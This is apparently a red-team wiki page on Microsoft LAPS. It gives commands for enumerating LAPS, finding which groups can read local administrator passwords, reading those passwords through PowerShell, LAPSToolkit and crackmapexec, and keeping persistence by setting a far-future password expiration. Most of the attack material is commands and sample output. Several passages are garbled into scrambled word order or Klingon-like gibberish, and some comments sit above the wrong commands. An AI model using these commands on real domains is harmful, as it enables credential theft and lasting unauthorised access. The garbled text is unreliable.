19 KiB
LAPS
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Basic Information
Local Administrator Password Solution (LAPS) is a tool used for managing a system where administrator passwords, which are unique, randomized, and frequently changed, are applied to domain-joined computers. These passwords are stored securely within Active Directory and are only accessible to users who have been granted permission through Access Control Lists (ACLs). The security of the password transmissions from the client to the server is ensured by the use of Kerberos version 5 and Advanced Encryption Standard (AES).
In the domain's computer objects, the implementation of LAPS results in the addition of two new attributes: ms-mcs-AdmPwd
and ms-mcs-AdmPwdExpirationTime
. These attributes store the plain-text administrator password and its expiration time, respectively.
Check if activated
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS Password Access
You could download the raw LAPS policy from \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
and then use Parse-PolFile
from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.
Moreover, the native LAPS PowerShell cmdlets can be used if they're installed on a machine we have access to:
LAPS Password Access
\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
raw LAPS policy download can be. Parse-PolFile
GPRegistryPolicyParser package human-readable
format convert can be.
Native LAPS PowerShell cmdlets can be used if installed on a machine we have access to.
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
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# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
The LAPSToolkit facilitates the enumeration of LAPS this with several functions.
One is parsing ExtendedRights
for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups.
An account that has joined a computer to a domain receives All Extended Rights
over that host, and this right gives the account the ability to read passwords. Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
LAPS Passwords jImej With Crackmapexec
vaj 'oH powershell 'e' vItlhutlh. LDAP Daq vItlhutlh 'e' vItlhutlh.
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
LAPS Persistence
Expiration Date
Qa'vIn admin, password-lI' ghItlh 'ej machine password 'e' 'ej expiration date vItlhutlh 'e' ghItlh.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
{% hint style="warning" %}
Qa'vIn admin Reset-AdmPwdPassword
cmdlet lo'laHbe'; be'nal Do not allow password expiration time longer than required by policy LAPS GPO enabled bo'lu'chugh.
{% endhint %}
Backdoor
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